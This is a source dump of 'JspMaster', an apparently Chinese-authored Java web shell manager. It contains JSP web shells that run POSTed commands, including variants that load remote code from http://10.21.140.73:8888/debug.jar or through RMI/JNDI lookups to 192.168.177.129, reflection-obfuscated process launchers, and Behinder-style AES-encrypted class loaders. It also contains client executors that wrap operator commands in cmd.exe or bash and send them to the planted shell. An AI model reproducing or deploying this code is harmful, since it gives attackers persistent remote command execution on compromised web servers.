URL("http://10.21.140.73:8888/debug.jar")})); 12 | }catch(Exception e){ 13 | e.printStackTrace(); 14 | } 15 | return clazz; 16 | } 17 | } 18 | %> 19 | <%! 20 | Class clazz = new Holder().getInstance(); 21 | %> 22 | <% 23 | BufferedReader br = request.getReader(); 24 | String str, postBody = ""; 25 | while((str = br.readLine()) != null) { 26 | postBody += str + "\n"; 27 | } 28 | if(postBody != null && !postBody.trim().equals("")){ 29 | postBody = postBody.substring(0, postBody.length()-1); 30 | Method method = clazz.getMethod("compare", String.class); 31 | response.getWriter().print(method.invoke(clazz.newInstance(), postBody)); 32 | } 33 | %> -------------------------------------------------------------------------------- /shell/流量未加密版本/xslt.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="javax.xml.transform.*"%> 2 | <%@ page import="javax.xml.transform.stream.*"%> 3 | <%@ page import="java.io.*" %> 4 | <%@ page contentType="text/html;charset=GB2312" language="java" %> 5 | <% 6 | BufferedReader br = request.getReader(); 7 | String str, wholeStr = ""; 8 | while((str = br.readLine()) != null) { 9 | wholeStr += str + "\n"; 10 | } 11 | br.close(); 12 | 13 | if(wholeStr != null && !wholeStr.trim().equals("")) { 14 | wholeStr = wholeStr.substring(0, wholeStr.length() - 1); 15 | try { 16 | InputStream in = new ByteArrayInputStream(wholeStr.getBytes()); 17 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 18 | StreamResult result = new StreamResult(baos); 19 | 20 | Transformer t = TransformerFactory.newInstance().newTransformer(new StreamSource(in)); 21 | t.transform(new StreamSource(new ByteArrayInputStream("".getBytes())), result); 22 | 23 | 24 | response.getWriter().print(baos.toString().trim().substring(1).trim()); 25 | out.clearBuffer(); 26 | baos.close(); 27 | in.close(); 28 | }catch(Exception e){ 29 | e.printStackTrace(); 30 | } 31 | } 32 | %> 33 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/executor/ClassLoaderCommandExecutor.java: -------------------------------------------------------------------------------- 1 | package com.feihong.executor; 2 | 3 | import com.feihong.bean.CommandExecutionResult; 4 | import com.feihong.util.BasicSetting; 5 | import com.feihong.util.ConfigUtil; 6 | import com.feihong.util.WrappedHttpRequest; 7 | 8 | public class ClassLoaderCommandExecutor implements CommandExecutor { 9 | 10 | @Override 11 | public String getName() { 12 | return "URLClassLoader"; 13 | } 14 | 15 | @Override 16 | public CommandExecutionResult exec(String command) { 17 | String wrappedCommand; 18 | if(command.equalsIgnoreCase("ipconfig") || command.trim().equalsIgnoreCase("ifconfig")){ 19 | wrappedCommand = command; 20 | }else{ 21 | if(BasicSetting.getInstance().shellPlatform.trim().equalsIgnoreCase("windows")){ 22 | wrappedCommand = "cmd.exe,/c," + command; 23 | }else{ 24 | wrappedCommand = "/bin/bash,-c," + command; 25 | } 26 | } 27 | 28 | if(BasicSetting.getInstance().encrypt){ 29 | return WrappedHttpRequest.post(BasicSetting.getInstance().shellUrl + "?key=" + ConfigUtil.getCommunicationKey() + "&iv=" + ConfigUtil.getIV(), wrappedCommand); 30 | }else{ 31 | return WrappedHttpRequest.post(wrappedCommand); 32 | } 33 | 34 | } 35 | } -------------------------------------------------------------------------------- /src/main/java/com/feihong/asm/BehinderExploit.java: -------------------------------------------------------------------------------- 1 | package com.feihong.asm; 2 | 3 | import javax.servlet.jsp.PageContext; 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.IOException; 6 | import java.io.InputStream; 7 | 8 | public class BehinderExploit{ 9 | private String str; 10 | 11 | @Override 12 | public boolean equals(Object obj) { 13 | if(obj instanceof PageContext){ 14 | PageContext page = (PageContext)obj; 15 | String result = ""; 16 | try{ 17 | InputStream inputStream = Runtime.getRuntime().exec(str.split(",",3)).getInputStream(); 18 | int len = 0; 19 | byte[] bytes = new byte[1024]; 20 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 21 | while((len = inputStream.read(bytes)) != -1){ 22 | baos.write(bytes, 0, len); 23 | } 24 | result = baos.toString(); 25 | inputStream.close(); 26 | baos.close(); 27 | }catch (Exception e){ 28 | e.printStackTrace(); 29 | } 30 | 31 | try { 32 | page.getResponse().getWriter().print(result.trim()); 33 | } catch (IOException e) { 34 | e.printStackTrace(); 35 | } 36 | } 37 | 38 | return super.equals(obj); 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/bean/FileModel.java: -------------------------------------------------------------------------------- 1 | package com.feihong.bean; 2 | 3 | public class FileModel { 4 | public String name; 5 | public String type; 6 | public String size; 7 | public String date; 8 | 9 | @Override 10 | public String toString() { 11 | return "FileEntry{" + 12 | "name='" + name + '\'' + 13 | ", type='" + type + '\'' + 14 | ", size='" + size + '\'' + 15 | ", date='" + date + '\'' + 16 | '}'; 17 | } 18 | 19 | public FileModel(String name, String type, String size, String date) { 20 | this.name = name; 21 | this.type = type; 22 | this.size = size; 23 | this.date = date; 24 | } 25 | 26 | public String getName() { 27 | return name; 28 | } 29 | 30 | public void setName(String name) { 31 | this.name = name; 32 | } 33 | 34 | public String getType() { 35 | return type; 36 | } 37 | 38 | public void setType(String type) { 39 | this.type = type; 40 | } 41 | 42 | public String getSize() { 43 | return size; 44 | } 45 | 46 | public void setSize(String size) { 47 | this.size = size; 48 | } 49 | 50 | public String getDate() { 51 | return date; 52 | } 53 | 54 | public void setDate(String date) { 55 | this.date = date; 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /shell/流量未加密版本/reflection-3.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.io.*" %> 2 | <%@ page import="java.lang.reflect.Method" %> 3 | <%@ page import="java.util.Map" %> 4 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 5 | <% 6 | BufferedReader br = request.getReader(); 7 | String str, wholeStr = ""; 8 | while((str = br.readLine()) != null) { 9 | wholeStr += str + "\n"; 10 | } 11 | br.close(); 12 | 13 | if(wholeStr != null && !wholeStr.trim().equals("")){ 14 | wholeStr = wholeStr.substring(0,wholeStr.length()-1); 15 | Class clazz = Class.forName(new String(new byte[] {106,97,118,97,46,108,97,110,103,46,80,114,111,99,101,115,115,73,109,112,108})); 16 | Method method = clazz.getDeclaredMethod(new String(new byte[]{115,116,97,114,116}), String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class); 17 | method.setAccessible(true); 18 | Process p = (Process)method.invoke(null, wholeStr.split(",",3), null, null, null, true); 19 | InputStream in = p.getInputStream(); 20 | int len = 0; 21 | byte[] buffer = new byte[1024]; 22 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 23 | while((len = in.read(buffer)) != -1){ 24 | baos.write(buffer, 0, len); 25 | } 26 | 27 | response.getWriter().print(baos.toString().trim()); 28 | in.close(); 29 | baos.close(); 30 | } 31 | %> -------------------------------------------------------------------------------- /src/main/java/com/feihong/ui/Start.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ui; 2 | 3 | import com.feihong.util.BasicSetting; 4 | import com.feihong.util.ConfigUtil; 5 | import javafx.application.Application; 6 | import javafx.scene.Scene; 7 | import javafx.scene.layout.BorderPane; 8 | import javafx.scene.layout.VBox; 9 | import javafx.stage.Stage; 10 | 11 | public class Start extends Application { 12 | 13 | @Override 14 | public void start(Stage primaryStage) throws Exception{ 15 | // System.setProperty("user.dir","C:\\Users\\41157\\Desktop\\Ligthsaber"); 16 | 17 | if(!ConfigUtil.isInitialized()){ 18 | InitializeUI initializeUI = new InitializeUI(); 19 | initializeUI.show(); 20 | }else{ 21 | if(ConfigUtil.isEncrypt()){ 22 | VBox vBox = LoginUI.getPane(); 23 | primaryStage.setTitle("打开JspMaster"); 24 | primaryStage.setScene(new Scene(vBox, 380, 150)); 25 | primaryStage.show(); 26 | }else{ 27 | BorderPane borderPane = new ShellManagerPane().getPane(); 28 | primaryStage.setTitle("JspMaster v1.01 Written by 飞鸿"); 29 | primaryStage.setScene(new Scene(borderPane, 1150, 500)); 30 | primaryStage.show(); 31 | } 32 | } 33 | } 34 | 35 | public static void main(String[] args) { 36 | launch(args); 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /shell/流量加密版本/URLClassLoader-aes.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.net.URL" %> 2 | <%@ page import="java.net.URLClassLoader" %> 3 | <%@ page import="java.lang.reflect.Method" %> 4 | <%@ page import="java.io.BufferedReader" %> 5 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 6 | <%! 7 | private class Holder{ 8 | public Class getInstance() { 9 | Class clazz = null; 10 | try{ 11 | clazz = Class.forName("org.apache.clinton.DebugRequest", true, new URLClassLoader(new URL[]{new URL("http://10.21.140.73:8888/debug.jar")})); 12 | }catch(Exception e){ 13 | e.printStackTrace(); 14 | } 15 | return clazz; 16 | } 17 | } 18 | %> 19 | <%! 20 | Class clazz = new Holder().getInstance(); 21 | %> 22 | <% 23 | BufferedReader br = request.getReader(); 24 | String str, postBody = ""; 25 | while((str = br.readLine()) != null) { 26 | postBody += str + "\n"; 27 | } 28 | br.close(); 29 | 30 | String key = "[key_placeholder]"; 31 | String iv = "[iv_placeholder]"; 32 | 33 | if(postBody != null && !postBody.trim().equals("")){ 34 | postBody = postBody.substring(0, postBody.length()-1); 35 | Method method = clazz.getMethod("compareEncrypt", String.class, String.class, String.class); 36 | response.getWriter().print(method.invoke(clazz.newInstance(), key, iv, postBody)); 37 | } 38 | %> -------------------------------------------------------------------------------- /src/main/java/com/feihong/bean/CommandExecutionResult.java: -------------------------------------------------------------------------------- 1 | package com.feihong.bean; 2 | 3 | public class CommandExecutionResult { 4 | private String responseResult; 5 | private int responseStatusCode; 6 | private String exception; 7 | private String errorMsg; 8 | 9 | public String getResponseResult() { 10 | return responseResult; 11 | } 12 | 13 | public void setResponseResult(String responseResult) { 14 | this.responseResult = responseResult; 15 | } 16 | 17 | public int getResponseStatusCode() { 18 | return responseStatusCode; 19 | } 20 | 21 | public void setResponseStatusCode(int responseStatusCode) { 22 | this.responseStatusCode = responseStatusCode; 23 | } 24 | 25 | public String getException() { 26 | return exception; 27 | } 28 | 29 | public void setException(String exception) { 30 | this.exception = exception; 31 | } 32 | 33 | public String getErrorMsg() { 34 | return errorMsg; 35 | } 36 | 37 | public void setErrorMsg(String errorMsg) { 38 | this.errorMsg = errorMsg; 39 | } 40 | 41 | @Override 42 | public String toString() { 43 | return "CommandExecutionResult{" + 44 | "responseResult='" + responseResult + '\'' + 45 | ", responseStatusCode=" + responseStatusCode + 46 | ", exception='" + exception + '\'' + 47 | ", errorMsg='" + errorMsg + '\'' + 48 | '}'; 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /shell/流量未加密版本/jndi.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="javax.naming.NamingException" %> 2 | <%@ page import="java.util.Hashtable" %> 3 | <%@ page import="javax.naming.Context" %> 4 | <%@ page import="javax.naming.InitialContext" %> 5 | <%@ page import="java.lang.reflect.Method" %> 6 | <%@ page import="java.io.BufferedReader" %> 7 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 8 | <%! 9 | public class JNDI { 10 | 11 | public Object lookup(String url){ 12 | try{ 13 | Hashtable env = new Hashtable(); 14 | env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); 15 | System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); 16 | System.setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase","true"); 17 | InitialContext ctx = new InitialContext(env); 18 | return ctx.lookup(url); 19 | }catch(NamingException e){ 20 | e.printStackTrace(); 21 | } 22 | 23 | return null; 24 | } 25 | } 26 | %> 27 | <%! 28 | Object obj = new JNDI().lookup("rmi://192.168.177.129:1099/Object"); 29 | %> 30 | <% 31 | BufferedReader br = request.getReader(); 32 | String str, wholeStr = ""; 33 | while((str = br.readLine()) != null) { 34 | wholeStr += str + "\n"; 35 | } 36 | br.close(); 37 | 38 | if(wholeStr != null && !wholeStr.trim().equals("")){ 39 | wholeStr = wholeStr.substring(0,wholeStr.length()-1); 40 | Method method = obj.getClass().getMethod("run", String.class); 41 | response.getWriter().print(((String)method.invoke(obj, wholeStr))); 42 | } 43 | %> 44 | -------------------------------------------------------------------------------- /.idea/artifacts/JspMaster.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | $PROJECT_DIR$/out/artifacts/JspMaster 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/executor/ScriptManagerExecutor.java: -------------------------------------------------------------------------------- 1 | package com.feihong.executor; 2 | 3 | import com.feihong.bean.CommandExecutionResult; 4 | import com.feihong.util.BasicSetting; 5 | import com.feihong.util.WrappedHttpRequest; 6 | import org.omg.PortableInterceptor.SYSTEM_EXCEPTION; 7 | 8 | public class ScriptManagerExecutor implements CommandExecutor{ 9 | @Override 10 | public String getName() { 11 | return "ScriptManager-JS"; 12 | } 13 | 14 | @Override 15 | public CommandExecutionResult exec(String command) { 16 | command = command.replace("\\","\\\\"); 17 | command = command.replaceAll("\n","\\\\n"); 18 | command = command.replaceAll("'","\\\\\'"); 19 | 20 | String wrappedCommand; 21 | if(command.equalsIgnoreCase("ipconfig") || command.trim().equalsIgnoreCase("ifconfig")){ 22 | wrappedCommand = "var a = java.lang.Runtime.getRuntime().exec(\"" + command + "\").getInputStream();out.println(obj.readInputStream(a))"; 23 | }else{ 24 | if(BasicSetting.getInstance().shellPlatform.trim().equalsIgnoreCase("windows")){ 25 | wrappedCommand = "var strs=new Array(3);strs[0]='cmd.exe';strs[1]='/c';strs[2]='" + command + "';var a = java.lang.Runtime.getRuntime().exec(strs).getInputStream();out.println(obj.readInputStream(a))"; 26 | }else{ 27 | wrappedCommand = "var strs=new Array(3);strs[0]='/bin/bash';strs[1]='-c';strs[2]='" + command + "';var a = java.lang.Runtime.getRuntime().exec(strs).getInputStream();out.println(obj.readInputStream(a))"; 28 | } 29 | } 30 | 31 | 32 | return WrappedHttpRequest.post(wrappedCommand); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /shell/流量加密版本/behinder-aes.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.io.BufferedReader" %> 2 | <%@ page import="javax.crypto.SecretKey" %> 3 | <%@ page import="javax.crypto.spec.SecretKeySpec" %> 4 | <%@ page import="javax.crypto.spec.IvParameterSpec" %> 5 | <%@ page import="java.security.spec.AlgorithmParameterSpec" %> 6 | <%@ page import="javax.crypto.Cipher" %> 7 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 8 | <%! 9 | class U extends ClassLoader{ 10 | U(ClassLoader c){ 11 | super(c); 12 | } 13 | 14 | public Class g(byte []b){ 15 | return super.defineClass(b,0,b.length); 16 | } 17 | } 18 | 19 | public static String decrypt(final String encrypted) { 20 | try { 21 | SecretKey key = new SecretKeySpec("[key_placeholder]".getBytes(), "AES"); 22 | AlgorithmParameterSpec iv = new IvParameterSpec("[iv_placeholder]".getBytes()); 23 | byte[] decodeBase64 = new sun.misc.BASE64Decoder().decodeBuffer(encrypted); 24 | // 指定加密的算法、工作模式和填充方式 25 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 26 | cipher.init(Cipher.DECRYPT_MODE, key, iv); 27 | return new String(cipher.doFinal(decodeBase64), "UTF-8"); 28 | } catch (Exception e) { 29 | e.printStackTrace(); 30 | return null; 31 | } 32 | } 33 | %> 34 | <% 35 | String wholeStr = request.getReader().readLine(); 36 | if(wholeStr != null && !wholeStr.trim().equals("")) { 37 | wholeStr = decrypt(wholeStr); 38 | new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(wholeStr)).newInstance().equals(pageContext); 39 | } 40 | %> -------------------------------------------------------------------------------- /src/main/java/com/feihong/task/OpenMainUITask.java: -------------------------------------------------------------------------------- 1 | package com.feihong.task; 2 | 3 | import com.feihong.bean.ShellEntry; 4 | import com.feihong.ui.MainUI; 5 | import com.feihong.util.BasicSetting; 6 | import com.feihong.util.ConnectionUtil; 7 | import javafx.concurrent.Task; 8 | 9 | public class OpenMainUITask extends Task { 10 | private MainUI mainUI; 11 | private ShellEntry entry; 12 | private String result; 13 | private int status; 14 | 15 | public OpenMainUITask(MainUI mainUI, ShellEntry entry){ 16 | this.mainUI = mainUI; 17 | this.entry = entry; 18 | } 19 | 20 | public String getResult() { 21 | return result; 22 | } 23 | 24 | public int getStatus() { 25 | return status; 26 | } 27 | 28 | @Override 29 | protected Integer call() { 30 | try{ 31 | BasicSetting.getInstance().initialize(entry); 32 | this.result = ConnectionUtil.getConnectionStatus(); 33 | System.out.println("Info: ConnectionUtil.getConnectionStatus(): " + this.result); 34 | if(result.equals("连接成功!")){ 35 | System.out.println("Info: match"); 36 | mainUI.initialize(result); 37 | this.status = 1; 38 | }else{ 39 | System.out.println("Info: not match"); 40 | this.status = -1; 41 | } 42 | }catch(Exception e){ 43 | //尝试解决 Issues1,怀疑是哪里抛出了异常,导致的bug 44 | System.out.println("Info: Exception occured"); 45 | e.printStackTrace(); 46 | this.status = -1; 47 | } 48 | 49 | return 1; 50 | } 51 | } 52 | //参考:https://blog.csdn.net/loongshawn/article/details/52996382 -------------------------------------------------------------------------------- /src/main/java/com/feihong/bean/Entry.java: -------------------------------------------------------------------------------- 1 | package com.feihong.bean; 2 | 3 | import javafx.beans.property.SimpleStringProperty; 4 | import javafx.scene.control.Label; 5 | import javafx.scene.control.TreeItem; 6 | 7 | public class Entry { 8 | private Label name; 9 | private SimpleStringProperty date; 10 | private SimpleStringProperty type; 11 | private SimpleStringProperty size; 12 | private TreeItem parent; 13 | 14 | public TreeItem getParent() { 15 | return parent; 16 | } 17 | 18 | public void setParent(TreeItem parent) { 19 | this.parent = parent; 20 | } 21 | 22 | public Entry(Label name, String date, String type, String size, TreeItem parent){ 23 | this.name = name; 24 | this.date = new SimpleStringProperty(date); 25 | this.type = new SimpleStringProperty(type); 26 | this.size = new SimpleStringProperty(size); 27 | this.parent = parent; 28 | } 29 | 30 | public Label getName() { 31 | return name; 32 | } 33 | 34 | public void setName(Label name) { 35 | this.name = name; 36 | } 37 | 38 | public String getDate() { 39 | return date.get(); 40 | } 41 | 42 | public SimpleStringProperty dateProperty() { 43 | return date; 44 | } 45 | 46 | public void setDate(String date) { 47 | this.date.set(date); 48 | } 49 | 50 | public String getType() { 51 | return type.get(); 52 | } 53 | 54 | public SimpleStringProperty typeProperty() { 55 | return type; 56 | } 57 | 58 | public void setType(String type) { 59 | this.type.set(type); 60 | } 61 | 62 | public String getSize() { 63 | return size.get(); 64 | } 65 | 66 | public SimpleStringProperty sizeProperty() { 67 | return size; 68 | } 69 | 70 | public void setSize(String size) { 71 | this.size.set(size); 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /shell/流量未加密版本/rmi.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.rmi.RMISecurityManager" %> 2 | <%@ page import="java.rmi.Naming" %> 3 | <%@ page import="java.lang.reflect.Method" %> 4 | <%@ page import="java.io.BufferedReader" %> 5 | <%@ page import="java.io.File" %> 6 | <%@ page import="java.io.FileWriter" %> 7 | <%@ page import="java.io.BufferedWriter" %> 8 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 9 | <% 10 | BufferedReader br = request.getReader(); 11 | String str, wholeStr = ""; 12 | while((str = br.readLine()) != null) { 13 | wholeStr += str + "\n"; 14 | } 15 | br.close(); 16 | 17 | if(wholeStr != null && !wholeStr.trim().equals("")) { 18 | wholeStr = wholeStr.substring(0,wholeStr.length()-1); 19 | try { 20 | File file = new File("security.policy"); 21 | if(!file.exists()){ 22 | file.createNewFile(); 23 | FileWriter fileWritter = new FileWriter(file.getName(),true); 24 | BufferedWriter bufferWritter = new BufferedWriter(fileWritter); 25 | bufferWritter.write("grant {\n" + 26 | " permission java.security.AllPermission;\n" + 27 | "};"); 28 | bufferWritter.close(); 29 | } 30 | System.setProperty("java.security.policy","security.policy"); 31 | System.setProperty("java.rmi.server.useCodebaseOnly","false"); 32 | System.setSecurityManager(new RMISecurityManager()); 33 | 34 | Object object = Naming.lookup("rmi://192.168.177.129:1099/Object"); 35 | Method method = object.getClass().getMethod("getExploit", null); 36 | Object obj = method.invoke(object); 37 | method = obj.getClass().getMethod("run", String.class); 38 | response.getWriter().print(method.invoke(obj, wholeStr)); 39 | } catch (Exception e){ 40 | e.printStackTrace(); 41 | } 42 | } 43 | %> 44 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ui/MainUI.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ui; 2 | 3 | import com.feihong.bean.ShellEntry; 4 | import com.feihong.util.BasicSetting; 5 | import javafx.geometry.Insets; 6 | import javafx.scene.control.Label; 7 | import javafx.scene.control.Tab; 8 | import javafx.scene.control.TabPane; 9 | import javafx.scene.layout.BorderPane; 10 | import javafx.scene.layout.FlowPane; 11 | 12 | public class MainUI { 13 | private ShellEntry entry; 14 | private BorderPane borderPane; 15 | 16 | public BorderPane getPane(){ 17 | return this.borderPane; 18 | } 19 | 20 | public MainUI(ShellEntry entry){ 21 | this.entry = entry; 22 | this.borderPane = new BorderPane(); 23 | } 24 | 25 | public void initialize(String connectionStatus){ 26 | 27 | BasicSetting basicSetting = BasicSetting.getInstance(); 28 | 29 | // public String encryptKey = ""; 30 | FlowPane flowPane = new FlowPane(); 31 | Label statusLabel = new Label(); 32 | statusLabel.setMinHeight(35); 33 | statusLabel.setText(connectionStatus); 34 | flowPane.getChildren().addAll(statusLabel); 35 | flowPane.setMargin(statusLabel,new Insets(0,0,0,10)); 36 | borderPane.setBottom(flowPane); 37 | 38 | TabPane tabPane = new TabPane(); 39 | Tab tab1 = new Tab(" 基本信息 "); 40 | Tab tab2 = new Tab(" 执行命令 "); 41 | Tab tab3 = new Tab(" 文件管理 "); 42 | tabPane.getTabs().addAll(tab1,tab2,tab3); 43 | // 如果不加下面这个语句,那么默认情况下,tab 上存在 x 按钮,点击 x,即可关闭 tab,我不想要这样。下面这句的作用就是去除 tab 标签的 x 按钮 44 | tabPane.setTabClosingPolicy(TabPane.TabClosingPolicy.UNAVAILABLE); 45 | 46 | if(basicSetting.isConnected == true){ 47 | tab1.setContent(new BasicInfoPane().getPane()); 48 | tab2.setContent(new ExecuteCMDPane().getPane()); 49 | tab3.setContent(new FileManagerPane().getFileManagerPane()); 50 | } 51 | 52 | borderPane.setCenter(tabPane); 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/executor/ELProcessorCommandExecutor.java: -------------------------------------------------------------------------------- 1 | package com.feihong.executor; 2 | 3 | import com.feihong.bean.CommandExecutionResult; 4 | import com.feihong.util.BasicSetting; 5 | import com.feihong.util.WrappedHttpRequest; 6 | 7 | public class ELProcessorCommandExecutor implements CommandExecutor{ 8 | @Override 9 | public String getName() { 10 | return "ELProcessor"; 11 | } 12 | 13 | @Override 14 | public CommandExecutionResult exec(String command) { 15 | command = command.replace("\\","\\\\\\\\"); 16 | command = command.replaceAll("\n","\\\\\\\\n"); 17 | command = command.replaceAll("'","\\\\\\\\\\\\\'"); 18 | command = command.replaceAll("\"","\\\\\""); 19 | 20 | String wrappedCommand; 21 | if(command.equalsIgnoreCase("ipconfig") || command.trim().equalsIgnoreCase("ifconfig")){ 22 | wrappedCommand = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance()" + 23 | ".getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder(['" + command + "'])" + 24 | ".start().getInputStream()\")"; 25 | }else{ 26 | if(BasicSetting.getInstance().shellPlatform.trim().equalsIgnoreCase("windows")){ 27 | wrappedCommand = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance()" + 28 | ".getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder(['cmd.exe','/c','" + command + "'])" + 29 | ".start().getInputStream()\")"; 30 | }else{ 31 | wrappedCommand = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance()" + 32 | ".getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder(['/bin/bash','-c','" + command + "'])" + 33 | ".start().getInputStream()\")"; 34 | } 35 | } 36 | 37 | return WrappedHttpRequest.post(wrappedCommand); 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/util/WrappedHttpRequest.java: -------------------------------------------------------------------------------- 1 | package com.feihong.util; 2 | 3 | import com.feihong.bean.CommandExecutionResult; 4 | 5 | public class WrappedHttpRequest { 6 | 7 | public static CommandExecutionResult post(String url, String body){ 8 | boolean b = BasicSetting.getInstance().encrypt; 9 | if(BasicSetting.getInstance().encrypt && body != null && !body.trim().equals("")){ 10 | String encryptedCmd = EncryptUtil.encrypt(body, BasicSetting.getInstance().encryptKey.getBytes(), BasicSetting.getInstance().iv.getBytes()); 11 | CommandExecutionResult result = HttpConnectionUtil.post(encryptedCmd); 12 | String enecryptedResult = result.getResponseResult(); 13 | if(result.getException() == null){ 14 | String decrypt = EncryptUtil.decrypt(enecryptedResult, BasicSetting.getInstance().encryptKey.getBytes(), BasicSetting.getInstance().iv.getBytes()); 15 | result.setResponseResult(decrypt); 16 | } 17 | 18 | return result; 19 | } 20 | 21 | return HttpConnectionUtil.post(url, body); 22 | } 23 | 24 | public static CommandExecutionResult post(String body){ 25 | boolean b = BasicSetting.getInstance().encrypt; 26 | if(BasicSetting.getInstance().encrypt && body != null && !body.trim().equals("")){ 27 | String encryptedCmd = EncryptUtil.encrypt(body, BasicSetting.getInstance().encryptKey.getBytes(), BasicSetting.getInstance().iv.getBytes()); 28 | CommandExecutionResult result = HttpConnectionUtil.post(encryptedCmd); 29 | String enecryptedResult = result.getResponseResult(); 30 | if(result.getException() == null){ 31 | String decrypt = EncryptUtil.decrypt(enecryptedResult, BasicSetting.getInstance().encryptKey.getBytes(), BasicSetting.getInstance().iv.getBytes()); 32 | result.setResponseResult(decrypt); 33 | } 34 | 35 | return result; 36 | } 37 | 38 | return HttpConnectionUtil.post(BasicSetting.getInstance().shellUrl, body); 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/executor/BehinderCommandExecutor.java: -------------------------------------------------------------------------------- 1 | package com.feihong.executor; 2 | 3 | import com.feihong.asm.AsmForBehind; 4 | import com.feihong.bean.CommandExecutionResult; 5 | import com.feihong.util.BasicSetting; 6 | import com.feihong.util.WrappedHttpRequest; 7 | 8 | import java.util.Base64; 9 | 10 | public class BehinderCommandExecutor implements CommandExecutor { 11 | @Override 12 | public String getName() { 13 | return "冰蝎Style"; 14 | } 15 | 16 | @Override 17 | public CommandExecutionResult exec(String command) { 18 | String wrappedCommand = null; 19 | AsmForBehind asm; 20 | if(command.equalsIgnoreCase("ipconfig") || command.trim().equalsIgnoreCase("ifconfig")){ 21 | if(BasicSetting.getInstance().encrypt){ 22 | asm = new AsmForBehind(command, true, BasicSetting.getInstance().encryptKey, BasicSetting.getInstance().iv); 23 | }else{ 24 | asm = new AsmForBehind(command, false, BasicSetting.getInstance().encryptKey, BasicSetting.getInstance().iv); 25 | } 26 | }else{ 27 | if(BasicSetting.getInstance().shellPlatform.trim().equalsIgnoreCase("windows")){ 28 | if(BasicSetting.getInstance().encrypt){ 29 | asm = new AsmForBehind("cmd.exe,/C," + command, true, BasicSetting.getInstance().encryptKey, BasicSetting.getInstance().iv); 30 | }else{ 31 | asm = new AsmForBehind("cmd.exe,/C," + command, false, BasicSetting.getInstance().encryptKey, BasicSetting.getInstance().iv); 32 | } 33 | }else{ 34 | if(BasicSetting.getInstance().encrypt){ 35 | asm = new AsmForBehind("/bin/bash,-c," + command, true, BasicSetting.getInstance().encryptKey, BasicSetting.getInstance().iv); 36 | }else{ 37 | asm = new AsmForBehind("/bin/bash,-c," + command, false, BasicSetting.getInstance().encryptKey, BasicSetting.getInstance().iv); 38 | } 39 | } 40 | } 41 | 42 | wrappedCommand = Base64.getEncoder().encodeToString(asm.process()); 43 | return WrappedHttpRequest.post(wrappedCommand); 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ui/PenddingUI.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ui; 2 | 3 | import javafx.concurrent.Task; 4 | import javafx.concurrent.WorkerStateEvent; 5 | import javafx.event.EventHandler; 6 | import javafx.scene.Scene; 7 | import javafx.scene.control.ProgressIndicator; 8 | import javafx.scene.layout.Background; 9 | import javafx.scene.layout.VBox; 10 | import javafx.stage.Modality; 11 | import javafx.stage.Stage; 12 | import javafx.stage.StageStyle; 13 | 14 | //参考:https://blog.csdn.net/loongshawn/article/details/52996382 15 | public class PenddingUI { 16 | private Stage dialogStage; 17 | private ProgressIndicator progressIndicator; 18 | 19 | public PenddingUI(final Task task, Stage primaryStage) { 20 | dialogStage = new Stage(); 21 | progressIndicator = new ProgressIndicator(); 22 | 23 | // 需要添加窗口父子关系属性,不然加载窗口会与父窗口并存,形成2个窗口,解决这个问题需要在加载页面代码中添加 dialogStage.initOwner(primaryStage) 24 | // 这样加载窗口就会与父窗口融合为一个窗口 25 | dialogStage.initOwner(primaryStage); 26 | dialogStage.initStyle(StageStyle.UNDECORATED); 27 | //设置stage为透明 28 | dialogStage.initStyle(StageStyle.TRANSPARENT); 29 | dialogStage.initModality(Modality.APPLICATION_MODAL); 30 | 31 | 32 | //label.getStyleClass().add("progress-bar-root"); 33 | progressIndicator.setProgress(-1F); 34 | progressIndicator.getStyleClass().add("progress-bar-root"); 35 | progressIndicator.progressProperty().bind(task.progressProperty()); 36 | 37 | //在 VBox 中可以加入一些其他的控件,如 label 等 38 | VBox vBox = new VBox(); 39 | // vBox.setSpacing(10); 40 | //这个必须有,设置背景为透明,必须和 stage 同时为透明,才不会遮盖原本的UI 41 | 